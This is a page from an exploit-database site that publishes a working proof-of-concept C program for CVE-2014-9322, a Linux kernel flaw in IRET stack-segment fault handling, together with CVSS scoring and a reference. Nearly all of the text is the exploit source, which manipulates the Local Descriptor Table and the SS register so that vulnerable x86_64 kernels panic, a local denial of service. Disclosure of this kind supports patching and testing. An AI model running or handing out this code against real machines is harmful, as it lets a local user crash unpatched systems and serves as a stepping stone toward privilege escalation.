Linux Kernel IRET Instruction #SS Fault Handling Crash PoC

2015.03.05
Credit: Emeric Nasi
Risk: High
Local: Yes
Remote: No
CWE: N/A


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

/* ---------------------------------------------------------------------------------------------------- * cve-2014-9322_poc.c * * arch/x86/kernel/entry_64.S in the Linux kernel before 3.17.5 does not * properly handle faults associated with the Stack Segment (SS) segment * register, which allows local users to gain privileges by triggering an IRET * instruction that leads to access to a GS Base address from the wrong space. * * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic. * * I have no merit to writing this poc, I just implemented first part of Rafal Wojtczuk article (this guy is a genius!) * More info at : http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/ * * * Compile with gcc -fno-stack-protector -Wall -o cve-2014-9322_poc cve-2014-9322_poc.c -lpthread * * Emeric Nasi - www.sevagas.com *-----------------------------------------------------------------------------------------------------*/ // Only works on x86_64 platform #ifdef __x86_64__ /* ----------------------- Includes ----------------------------*/ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <time.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/syscall.h> #include <sys/mman.h> #include <asm/ldt.h> #include <pthread.h> #include <sys/time.h> #include <inttypes.h> #include <stdbool.h> #include <errno.h> #include <sys/user.h> /* ----------------------- definitions ----------------------------*/ #define TARGET_KERNEL_MIN "3.0.0" #define TARGET_KERNEL_MAX "3.17.4" #define EXPLOIT_NAME "cve-2014-9322" #define EXPLOIT_TYPE DOS #define FALSE_SS_BASE 0x10000UL #define MAP_SIZE 0x10000 /* ----------------------- Global variables ----------------------------*/ struct user_desc new_stack_segment; /* ----------------------- functions ----------------------------*/ /** * Creates a new segment in Local Descriptor Table */ static bool add_ldt(struct user_desc *desc, const char *name) { if (syscall(SYS_modify_ldt, 1, desc, sizeof(struct user_desc)) == 0) { return true; } else { printf("[cve_2014_9322 error]: Failed to create %s segment\n", name); printf("modify_ldt failed, %s\n", strerror(errno)); return false; } } int FLAG = 0; void * segManipulatorThread(void * none) { new_stack_segment.entry_number = 0x12; new_stack_segment.base_addr = 0x10000; new_stack_segment.limit = 0xffff; new_stack_segment.seg_32bit = 1; new_stack_segment.contents = MODIFY_LDT_CONTENTS_STACK; /* Data, grow-up */ new_stack_segment.read_exec_only = 0; new_stack_segment.limit_in_pages = 0; new_stack_segment.seg_not_present = 0; new_stack_segment.useable = 0; new_stack_segment.lm = 0; // Create a new stack segment add_ldt(&new_stack_segment, "newSS"); // Wait for main thread to use new stack segment sleep(3); // Invalidate stack segment new_stack_segment.seg_not_present = 1; add_ldt(&new_stack_segment, "newSS disable"); FLAG = 1; sleep(15); return NULL; } /** * DOS poc for cve_2014_9322 vulnerability */ int main() { pthread_t thread1; uint8_t *code; printf("[cve_2014_9322]: Preparing to exploit.\n"); // map area for false SS code = (uint8_t *)mmap((void *)FALSE_SS_BASE, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0); if (code != (uint8_t *) FALSE_SS_BASE) { fprintf(stderr, "[cve_2014_9322 Error]: Unable to map memory at address: %lu\n", FALSE_SS_BASE); return -1; } printf("[cve_2014_9322]: Panic!\n"); if(pthread_create(&thread1, NULL, segManipulatorThread, NULL)!= 0) { perror("[cve_2014_9322 error]: pthread_create"); return false; } // Wait for segManipulatorThread to create new stack segment sleep(1); // Set stack segment to newly created one in segManipulatorThread asm volatile ("mov %0, %%ss;" : :"r" (0x97) ); while(FLAG == 0){}; sleep(4); return 0; } #endif // __x86_64__

References:

http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top